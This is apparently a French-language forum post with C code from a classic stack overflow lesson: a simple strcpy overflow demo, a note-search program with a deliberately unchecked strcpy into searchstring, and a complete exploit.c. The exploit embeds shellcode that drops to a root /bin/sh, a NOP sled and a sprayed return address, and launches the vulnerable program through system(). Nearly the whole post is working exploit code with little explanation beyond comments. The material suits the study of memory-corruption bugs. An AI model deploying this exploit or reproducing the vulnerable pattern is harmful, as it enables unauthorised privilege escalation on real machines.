Archlinux.fr [Forums]

Code : Tout sélectionner

#include <stdio.h>

void manipulate(char *buffer) {
  char newbuffer[20];
  strcpy(newbuffer,buffer);
}

int main() {
  char ch,buffer[4096];
  int i=0;

  while ((buffer[i++] = getchar()) != '\n') {};
  
  i=1;
  manipulate(buffer);
  i=2;
  printf("The value of i is : %d\n",i);
  return 0;
}

Code : Tout sélectionner

//
//	Le programme notetaker et notesearch implémente une logique
//	qui veut que lorsqu'une note écrite est prise en compte seul l'utilisateur
//      qui la déposé peut effectuer une recherche dessus.
//
// Ce programme contient une faille par débordement de tampon sur la variable searchstring

#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include "hacking.h"

#define FILENAME "/tmp/notes"


int print_notes(int, int, char *);	// affiche une note
int find_user_note(int, int);		// recherche une note de l'utilisateur dans le fichier
int search_note(char*, char*);		// recherche d'un mot clé
void fatal(char*);			// gestion des erreurs fatales


int main(int argc, char *argv[]){

	int userid, printing=1, fd;	// file descriptor
	char searchstring[100];

        // lieu du débordement de tampon
	if(argc > 1) strcpy(searchstring, argv[1]);   
	else searchstring[0] = 0;	// sinon la chaine de recherche est vide


	userid = getuid();


	fd = open(FILENAME, O_RDONLY);	// ouverture du fichier en lecture seul
	if(fd == -1) fatal(" in main() while opening file for reading");

        // affiche des notes tant qu'il en reste
	while(printing) printing = print_notes(fd, userid, searchstring); 

	printf("-----[ end of note data ]-----\n");

	close(fd);

	}


[u]exploit.c[/u]

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]){

	unsigned int i, *ptr, ret, offset=270;
	char *command, *buffer;

	command = (char *) malloc(200);
	bzero(command, 200);	// rempli la zone mémoire allouée de zéro

	strcpy(command, "./notesearch \'");	// début du tampon de la commande
	buffer = command + strlen(command);	// buffer cible de la commande

	if(argc > 1) offset = atoi(argv[1]);  // fixer le décalage

	ret = (unsigned int) &i - offset;  // fixe l'adresse de retour

        // met l'adresse de retour dans le tampon
	for(i=0; i<160; i+=4)  *((unsigned int *) (buffer+i)) = ret; 

	memset(buffer, 0x90, 60); // met en place le "NOP sled"

	memcpy(buffer+60, shellcode, sizeof(shellcode)-1);

	strcat(command, "\'");

	system(command);	// lance l'exploit

	free(command);

}